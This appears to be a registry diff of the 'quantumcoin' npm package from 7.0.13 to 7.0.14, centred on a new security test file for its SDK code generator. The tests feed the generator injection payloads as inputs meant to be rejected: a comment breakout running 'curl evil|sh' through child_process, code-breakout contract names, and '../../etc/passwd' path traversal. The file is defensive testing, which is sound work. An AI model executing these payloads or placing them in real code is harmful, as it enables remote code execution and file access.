quantumcoin 7.0.13 → 7.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/examples/node_modules/.bin/esbuild +16 -0
- package/examples/node_modules/.bin/esbuild.cmd +17 -0
- package/examples/node_modules/.bin/esbuild.ps1 +28 -0
- package/examples/node_modules/.bin/sdkgen +16 -0
- package/examples/node_modules/.bin/sdkgen.cmd +17 -0
- package/examples/node_modules/.bin/sdkgen.ps1 +28 -0
- package/examples/node_modules/.bin/tsx +16 -0
- package/examples/node_modules/.bin/tsx.cmd +17 -0
- package/examples/node_modules/.bin/tsx.ps1 +28 -0
- package/examples/node_modules/.package-lock.json +144 -0
- package/examples/node_modules/@esbuild/win32-x64/README.md +3 -0
- package/examples/node_modules/@esbuild/win32-x64/esbuild.exe +0 -0
- package/examples/node_modules/@esbuild/win32-x64/package.json +20 -0
- package/examples/node_modules/esbuild/LICENSE.md +21 -0
- package/examples/node_modules/esbuild/README.md +3 -0
- package/examples/node_modules/esbuild/bin/esbuild +223 -0
- package/examples/node_modules/esbuild/install.js +289 -0
- package/examples/node_modules/esbuild/lib/main.d.ts +716 -0
- package/examples/node_modules/esbuild/lib/main.js +2532 -0
- package/examples/node_modules/esbuild/package.json +49 -0
- package/examples/node_modules/get-tsconfig/LICENSE +21 -0
- package/examples/node_modules/get-tsconfig/README.md +235 -0
- package/examples/node_modules/get-tsconfig/dist/index.cjs +7 -0
- package/examples/node_modules/get-tsconfig/dist/index.d.cts +2088 -0
- package/examples/node_modules/get-tsconfig/dist/index.d.mts +2088 -0
- package/examples/node_modules/get-tsconfig/dist/index.mjs +7 -0
- package/examples/node_modules/get-tsconfig/package.json +46 -0
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE +21 -0
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE-wasm_exec.js.txt +30 -0
- package/examples/node_modules/quantum-coin-js-sdk/README.md +1675 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/README.md +14 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/conversion-example.js +19 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-create-contract.js +396 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-encode-decode-rlp.js +225 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-event-pack-unpack.js +391 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-misc.js +101 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send-signRawTransaction.js +318 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send.js +116 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-send.js +70 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-token-pack-unpack.js +961 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet-version4.js +35 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet.js +43 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example.js +405 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/package-lock.json +134 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/package.json +15 -0
- package/examples/node_modules/quantum-coin-js-sdk/index.d.ts +1031 -0
- package/examples/node_modules/quantum-coin-js-sdk/index.js +3144 -0
- package/examples/node_modules/quantum-coin-js-sdk/package.json +34 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-32.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-36.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-48.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/generate-verify-vectors.js +91 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.preinit.test.js +41 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.test.js +1389 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-keytype5-context-null.test.js +107 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-transaction.test.js +196 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-verify.test.js +311 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.relay.test.js +131 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.rpc.test.js +103 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/verify-vectors.json +95035 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.d.ts +9 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.js +16 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.d.ts +0 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.js +587 -0
- package/examples/node_modules/resolve-pkg-maps/LICENSE +21 -0
- package/examples/node_modules/resolve-pkg-maps/README.md +216 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.cjs +1 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.cts +11 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.mts +11 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.mjs +1 -0
- package/examples/node_modules/resolve-pkg-maps/package.json +42 -0
- package/examples/node_modules/seed-words/.github/workflows/publish-npmjs.yaml +22 -0
- package/examples/node_modules/seed-words/BUILD.md +7 -0
- package/examples/node_modules/seed-words/LICENSE +121 -0
- package/examples/node_modules/seed-words/README.md +67 -0
- package/examples/node_modules/seed-words/dist/seedwords.d.ts +39 -0
- package/examples/node_modules/seed-words/package.json +27 -0
- package/examples/node_modules/seed-words/seedwords.js +315 -0
- package/examples/node_modules/seed-words/seedwords.txt +65536 -0
- package/examples/node_modules/seed-words/tsconfig.json +21 -0
- package/examples/node_modules/tsx/LICENSE +21 -0
- package/examples/node_modules/tsx/README.md +32 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.d.cts +35 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.d.mts +35 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/cli.cjs +54 -0
- package/examples/node_modules/tsx/dist/cli.mjs +55 -0
- package/examples/node_modules/tsx/dist/client-BQVF1NaW.mjs +1 -0
- package/examples/node_modules/tsx/dist/client-D6NvIMSC.cjs +1 -0
- package/examples/node_modules/tsx/dist/esm/api/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/esm/api/index.d.cts +35 -0
- package/examples/node_modules/tsx/dist/esm/api/index.d.mts +35 -0
- package/examples/node_modules/tsx/dist/esm/api/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/esm/index.cjs +2 -0
- package/examples/node_modules/tsx/dist/esm/index.mjs +2 -0
- package/examples/node_modules/tsx/dist/get-pipe-path-BHW2eJdv.mjs +1 -0
- package/examples/node_modules/tsx/dist/get-pipe-path-BoR10qr8.cjs +1 -0
- package/examples/node_modules/tsx/dist/index-7AaEi15b.mjs +14 -0
- package/examples/node_modules/tsx/dist/index-BWFBUo6r.cjs +1 -0
- package/examples/node_modules/tsx/dist/index-gbaejti9.mjs +1 -0
- package/examples/node_modules/tsx/dist/index-gckBtVBf.cjs +14 -0
- package/examples/node_modules/tsx/dist/lexer-DQCqS3nf.mjs +3 -0
- package/examples/node_modules/tsx/dist/lexer-DgIbo0BU.cjs +3 -0
- package/examples/node_modules/tsx/dist/loader.cjs +1 -0
- package/examples/node_modules/tsx/dist/loader.mjs +1 -0
- package/examples/node_modules/tsx/dist/node-features-_8ZFwP_x.mjs +1 -0
- package/examples/node_modules/tsx/dist/node-features-roYmp9jK.cjs +1 -0
- package/examples/node_modules/tsx/dist/package-CeBgXWuR.mjs +1 -0
- package/examples/node_modules/tsx/dist/package-Dxt5kIHw.cjs +1 -0
- package/examples/node_modules/tsx/dist/patch-repl.cjs +1 -0
- package/examples/node_modules/tsx/dist/patch-repl.mjs +1 -0
- package/examples/node_modules/tsx/dist/preflight.cjs +1 -0
- package/examples/node_modules/tsx/dist/preflight.mjs +1 -0
- package/examples/node_modules/tsx/dist/register-2sWVXuRQ.cjs +1 -0
- package/examples/node_modules/tsx/dist/register-B7jrtLTO.mjs +1 -0
- package/examples/node_modules/tsx/dist/register-CFH5oNdT.mjs +4 -0
- package/examples/node_modules/tsx/dist/register-D46fvsV_.cjs +4 -0
- package/examples/node_modules/tsx/dist/repl.cjs +3 -0
- package/examples/node_modules/tsx/dist/repl.mjs +3 -0
- package/examples/node_modules/tsx/dist/require-D4F1Lv60.cjs +1 -0
- package/examples/node_modules/tsx/dist/require-DQxpCAr4.mjs +1 -0
- package/examples/node_modules/tsx/dist/suppress-warnings.cjs +1 -0
- package/examples/node_modules/tsx/dist/suppress-warnings.mjs +1 -0
- package/examples/node_modules/tsx/dist/temporary-directory-B83uKxJF.cjs +1 -0
- package/examples/node_modules/tsx/dist/temporary-directory-CwHp0_NW.mjs +1 -0
- package/examples/node_modules/tsx/dist/types-Cxp8y2TL.d.ts +5 -0
- package/examples/node_modules/tsx/package.json +68 -0
- package/examples/package-lock.json +6 -6
- package/examples/package.json +1 -1
- package/generate-sdk.js +30 -9
- package/package.json +2 -2
- package/src/abi/interface.js +11 -2
- package/src/abi/js-abi-coder.js +61 -2
- package/src/contract/contract.js +53 -5
- package/src/generator/index.js +152 -13
- package/src/providers/provider.js +138 -5
- package/src/utils/rlp.js +13 -1
- package/src/wallet/wallet.js +91 -8
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package-lock.json +6 -6
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package.json +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.js +3 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package-lock.json +6 -6
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package.json +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes__factory.ts +3 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package-lock.json +6 -6
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package.json +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.js +9 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.js +3 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/test/e2e/SimpleERC20.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package-lock.json +6 -6
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package.json +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20.ts +9 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20__factory.ts +3 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js +1 -1
- package/test/e2e/generator-interface.e2e.test.js +6 -4
- package/test/e2e/generator-interface.e2e.test.ts +6 -4
- package/test/security/abi-decoder-bounds.test.js +122 -0
- package/test/security/contract-overrides.test.js +112 -0
- package/test/security/generator-injection.test.js +195 -0
- package/test/security/malformed-input.test.js +26 -27
- package/test/security/rpc-numeric-bounds.test.js +81 -0
- package/test/security/rpc-trust.test.js +202 -0
- package/test/unit/abi-interface.test.js +12 -5
- package/test/unit/abi-interface.test.ts +8 -1
- package/test/unit/address-wallet.test.js +31 -0
- package/test/unit/encoding-units-rlp.test.js +35 -0
- package/test/unit/populate-transaction.test.js +33 -0
|
@@ -0,0 +1,195 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Code-injection and path-traversal protections in the SDK
|
|
6
|
+
* generator. Attacker-controlled contract/function names (and tuple
|
|
7
|
+
* names derived from internalType) must never break out of the
|
|
8
|
+
* generated source or escape the output directory.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
const fs = require("node:fs");
|
|
14
|
+
const os = require("node:os");
|
|
15
|
+
const path = require("node:path");
|
|
16
|
+
|
|
17
|
+
const {
|
|
18
|
+
generate,
|
|
19
|
+
generateFromArtifacts,
|
|
20
|
+
generateTransactionalTestJs,
|
|
21
|
+
assertSafeIdentifier,
|
|
22
|
+
} = require("../../src/generator");
|
|
23
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
24
|
+
|
|
25
|
+
function _tmpOut() {
|
|
26
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
|
|
27
|
+
return path.join(tmp, "out");
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
describe("Security: generator code-injection & path-traversal", () => {
|
|
31
|
+
logSuite("Security: generator code-injection & path-traversal");
|
|
32
|
+
|
|
33
|
+
it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
|
|
34
|
+
logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
|
|
35
|
+
assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
|
|
36
|
+
assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
|
|
37
|
+
assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
|
|
38
|
+
assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
|
|
39
|
+
assert.throws(() => assertSafeIdentifier("class", "contract name"));
|
|
40
|
+
assert.throws(() => assertSafeIdentifier("", "contract name"));
|
|
41
|
+
assert.throws(() => assertSafeIdentifier(123, "contract name"));
|
|
42
|
+
// Positive: valid identifiers are returned unchanged.
|
|
43
|
+
assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
|
|
44
|
+
assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
it("rejects a malicious contractName (negative)", () => {
|
|
48
|
+
logTest("rejects a malicious contractName (negative)", {});
|
|
49
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
50
|
+
assert.throws(
|
|
51
|
+
() =>
|
|
52
|
+
generateFromArtifacts({
|
|
53
|
+
outDir: _tmpOut(),
|
|
54
|
+
lang: "ts",
|
|
55
|
+
artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
|
|
56
|
+
}),
|
|
57
|
+
/Unsafe contract name|reserved word/i,
|
|
58
|
+
);
|
|
59
|
+
});
|
|
60
|
+
|
|
61
|
+
it("rejects a path-traversal contractName (negative)", () => {
|
|
62
|
+
logTest("rejects a path-traversal contractName (negative)", {});
|
|
63
|
+
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
64
|
+
assert.throws(
|
|
65
|
+
() =>
|
|
66
|
+
generateFromArtifacts({
|
|
67
|
+
outDir: _tmpOut(),
|
|
68
|
+
lang: "ts",
|
|
69
|
+
artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
|
|
70
|
+
}),
|
|
71
|
+
/Unsafe contract name/i,
|
|
72
|
+
);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it("rejects a malicious ABI function name (negative)", () => {
|
|
76
|
+
logTest("rejects a malicious ABI function name (negative)", {});
|
|
77
|
+
const abi = [
|
|
78
|
+
{ type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
|
|
79
|
+
];
|
|
80
|
+
assert.throws(
|
|
81
|
+
() =>
|
|
82
|
+
generateFromArtifacts({
|
|
83
|
+
outDir: _tmpOut(),
|
|
84
|
+
lang: "ts",
|
|
85
|
+
artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
|
|
86
|
+
}),
|
|
87
|
+
/Unsafe ABI function name/i,
|
|
88
|
+
);
|
|
89
|
+
// Also covered by the transactional-test generator entry point.
|
|
90
|
+
assert.throws(
|
|
91
|
+
() => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
|
|
92
|
+
/Unsafe ABI function name/i,
|
|
93
|
+
);
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
|
|
97
|
+
logTest("sanitizes malicious tuple names derived from internalType", {});
|
|
98
|
+
const outDir = _tmpOut();
|
|
99
|
+
const abi = [
|
|
100
|
+
{
|
|
101
|
+
type: "function",
|
|
102
|
+
name: "getStruct",
|
|
103
|
+
stateMutability: "view",
|
|
104
|
+
inputs: [],
|
|
105
|
+
outputs: [
|
|
106
|
+
{
|
|
107
|
+
name: "s",
|
|
108
|
+
type: "tuple",
|
|
109
|
+
internalType: 'struct Evil"]; const pwned = 1; //[',
|
|
110
|
+
components: [{ name: "a", type: "uint256" }],
|
|
111
|
+
},
|
|
112
|
+
],
|
|
113
|
+
},
|
|
114
|
+
];
|
|
115
|
+
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
|
|
116
|
+
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
117
|
+
// The tuple type name is derived from the attacker-controlled internalType.
|
|
118
|
+
// It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
|
|
119
|
+
// only survive inside the escaped ABI JSON string literal, never as code).
|
|
120
|
+
const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
|
|
121
|
+
assert.ok(typeDecls.length >= 1, "a struct type should be generated");
|
|
122
|
+
for (const id of typeDecls) {
|
|
123
|
+
assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
|
|
124
|
+
}
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
|
|
128
|
+
logTest("neutralizes a NatSpec doc-comment breakout", {});
|
|
129
|
+
const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
|
|
130
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
131
|
+
const docs = { contract: payload, functions: { transfer: payload } };
|
|
132
|
+
|
|
133
|
+
for (const lang of ["ts", "js"]) {
|
|
134
|
+
const res = generateFromArtifacts({
|
|
135
|
+
outDir: _tmpOut(),
|
|
136
|
+
lang,
|
|
137
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
138
|
+
});
|
|
139
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
140
|
+
// The comment terminator must be neutralized so it cannot close the JSDoc
|
|
141
|
+
// block early; the payload may only survive as inert comment text.
|
|
142
|
+
assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
|
|
143
|
+
assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
|
|
144
|
+
// Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
|
|
145
|
+
// i.e. it is the last non-space token on its line (' */').
|
|
146
|
+
for (const line of src.split(/\r?\n/g)) {
|
|
147
|
+
const idx = line.indexOf("*/");
|
|
148
|
+
if (idx !== -1) {
|
|
149
|
+
assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
it("renders a benign NatSpec doc normally (positive)", () => {
|
|
156
|
+
logTest("renders a benign NatSpec doc normally", {});
|
|
157
|
+
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
158
|
+
const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
|
|
159
|
+
const res = generateFromArtifacts({
|
|
160
|
+
outDir: _tmpOut(),
|
|
161
|
+
lang: "ts",
|
|
162
|
+
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
163
|
+
});
|
|
164
|
+
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
165
|
+
assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
|
|
166
|
+
assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it("generates valid output and preserves legitimate identifiers (positive)", () => {
|
|
170
|
+
logTest("generates valid output and preserves legitimate identifiers (positive)", {});
|
|
171
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
|
|
172
|
+
const abiPath = path.join(tmp, "Test.abi.json");
|
|
173
|
+
const binPath = path.join(tmp, "Test.bin");
|
|
174
|
+
const outDir = path.join(tmp, "out");
|
|
175
|
+
const abi = [
|
|
176
|
+
{
|
|
177
|
+
type: "function",
|
|
178
|
+
name: "balanceOf",
|
|
179
|
+
stateMutability: "view",
|
|
180
|
+
inputs: [{ name: "account", type: "address" }],
|
|
181
|
+
outputs: [{ name: "", type: "uint256" }],
|
|
182
|
+
},
|
|
183
|
+
];
|
|
184
|
+
fs.writeFileSync(abiPath, JSON.stringify(abi), "utf8");
|
|
185
|
+
fs.writeFileSync(binPath, "0x6000", "utf8");
|
|
186
|
+
const res = generate({ abiPath, binPath, outDir, contractName: "TestToken" });
|
|
187
|
+
const src = fs.readFileSync(res.contractFile, "utf8");
|
|
188
|
+
assert.ok(src.includes("export class TestToken"));
|
|
189
|
+
assert.ok(src.includes("async balanceOf"));
|
|
190
|
+
// All generated files must live inside outDir (no traversal).
|
|
191
|
+
for (const f of [res.contractFile, res.factoryFile, res.typesFile, res.indexFile]) {
|
|
192
|
+
assert.ok(path.resolve(f).startsWith(path.resolve(outDir)), `${f} must be inside outDir`);
|
|
193
|
+
}
|
|
194
|
+
});
|
|
195
|
+
});
|
|
@@ -3,7 +3,6 @@
|
|
|
3
3
|
* @blockchainRequired false
|
|
4
4
|
* @transactional false
|
|
5
5
|
* @description Security tests for malformed input, edge cases, and invalid values.
|
|
6
|
-
* Covers all findings from the consolidated security audit.
|
|
7
6
|
* Run with VERBOSE=1 for test names.
|
|
8
7
|
*/
|
|
9
8
|
|
|
@@ -36,8 +35,8 @@ describe("Security: Malformed Input", () => {
|
|
|
36
35
|
});
|
|
37
36
|
});
|
|
38
37
|
|
|
39
|
-
describe("Security:
|
|
40
|
-
logSuite("Security:
|
|
38
|
+
describe("Security: Private key enumeration protection", () => {
|
|
39
|
+
logSuite("Security: Private key enumeration protection");
|
|
41
40
|
|
|
42
41
|
it("JSON.stringify(wallet) must NOT contain privateKey or seed", async () => {
|
|
43
42
|
logTest("JSON.stringify(wallet) must NOT contain privateKey or seed", {});
|
|
@@ -79,8 +78,8 @@ describe("Security: C1 - Private key enumeration protection", () => {
|
|
|
79
78
|
});
|
|
80
79
|
});
|
|
81
80
|
|
|
82
|
-
describe("Security:
|
|
83
|
-
logSuite("Security:
|
|
81
|
+
describe("Security: Wallet.connect() preserves state", () => {
|
|
82
|
+
logSuite("Security: Wallet.connect() preserves state");
|
|
84
83
|
|
|
85
84
|
it("connect() preserves seed", async () => {
|
|
86
85
|
logTest("connect() preserves seed", {});
|
|
@@ -96,8 +95,8 @@ describe("Security: C3 - Wallet.connect() preserves state", () => {
|
|
|
96
95
|
});
|
|
97
96
|
});
|
|
98
97
|
|
|
99
|
-
describe("Security:
|
|
100
|
-
logSuite("Security:
|
|
98
|
+
describe("Security: KDF string password handling", () => {
|
|
99
|
+
logSuite("Security: KDF string password handling");
|
|
101
100
|
|
|
102
101
|
it("pbkdf2 with plain string password does not crash", async () => {
|
|
103
102
|
logTest("pbkdf2 with plain string password does not crash", {});
|
|
@@ -121,8 +120,8 @@ describe("Security: C4 - KDF string password handling", () => {
|
|
|
121
120
|
});
|
|
122
121
|
});
|
|
123
122
|
|
|
124
|
-
describe("Security:
|
|
125
|
-
logSuite("Security:
|
|
123
|
+
describe("Security: Numeric precision in signTransaction", () => {
|
|
124
|
+
logSuite("Security: Numeric precision in signTransaction");
|
|
126
125
|
|
|
127
126
|
it("rejects number value above MAX_SAFE_INTEGER", async () => {
|
|
128
127
|
logTest("rejects number value above MAX_SAFE_INTEGER", {});
|
|
@@ -157,8 +156,8 @@ describe("Security: H2 - Numeric precision in signTransaction", () => {
|
|
|
157
156
|
});
|
|
158
157
|
});
|
|
159
158
|
|
|
160
|
-
describe("Security:
|
|
161
|
-
logSuite("Security:
|
|
159
|
+
describe("Security: Password strength enforcement", () => {
|
|
160
|
+
logSuite("Security: Password strength enforcement");
|
|
162
161
|
|
|
163
162
|
it("encryptSync rejects password shorter than 12 characters", async () => {
|
|
164
163
|
logTest("encryptSync rejects password shorter than 12 characters", {});
|
|
@@ -177,8 +176,8 @@ describe("Security: M3 - Password strength enforcement", () => {
|
|
|
177
176
|
});
|
|
178
177
|
});
|
|
179
178
|
|
|
180
|
-
describe("Security:
|
|
181
|
-
logSuite("Security:
|
|
179
|
+
describe("Security: Message signing removed", () => {
|
|
180
|
+
logSuite("Security: Message signing removed");
|
|
182
181
|
|
|
183
182
|
it("hashMessage is not exported", () => {
|
|
184
183
|
logTest("hashMessage is not exported", {});
|
|
@@ -201,8 +200,8 @@ describe("Security: M4 - Message signing removed", () => {
|
|
|
201
200
|
});
|
|
202
201
|
});
|
|
203
202
|
|
|
204
|
-
describe("Security:
|
|
205
|
-
logSuite("Security:
|
|
203
|
+
describe("Security: Error messages do not leak secrets", () => {
|
|
204
|
+
logSuite("Security: Error messages do not leak secrets");
|
|
206
205
|
|
|
207
206
|
it("fromKeys error does not contain actual key bytes", async () => {
|
|
208
207
|
logTest("fromKeys error does not contain actual key bytes", {});
|
|
@@ -218,8 +217,8 @@ describe("Security: M6 - Error messages do not leak secrets", () => {
|
|
|
218
217
|
});
|
|
219
218
|
});
|
|
220
219
|
|
|
221
|
-
describe("Security:
|
|
222
|
-
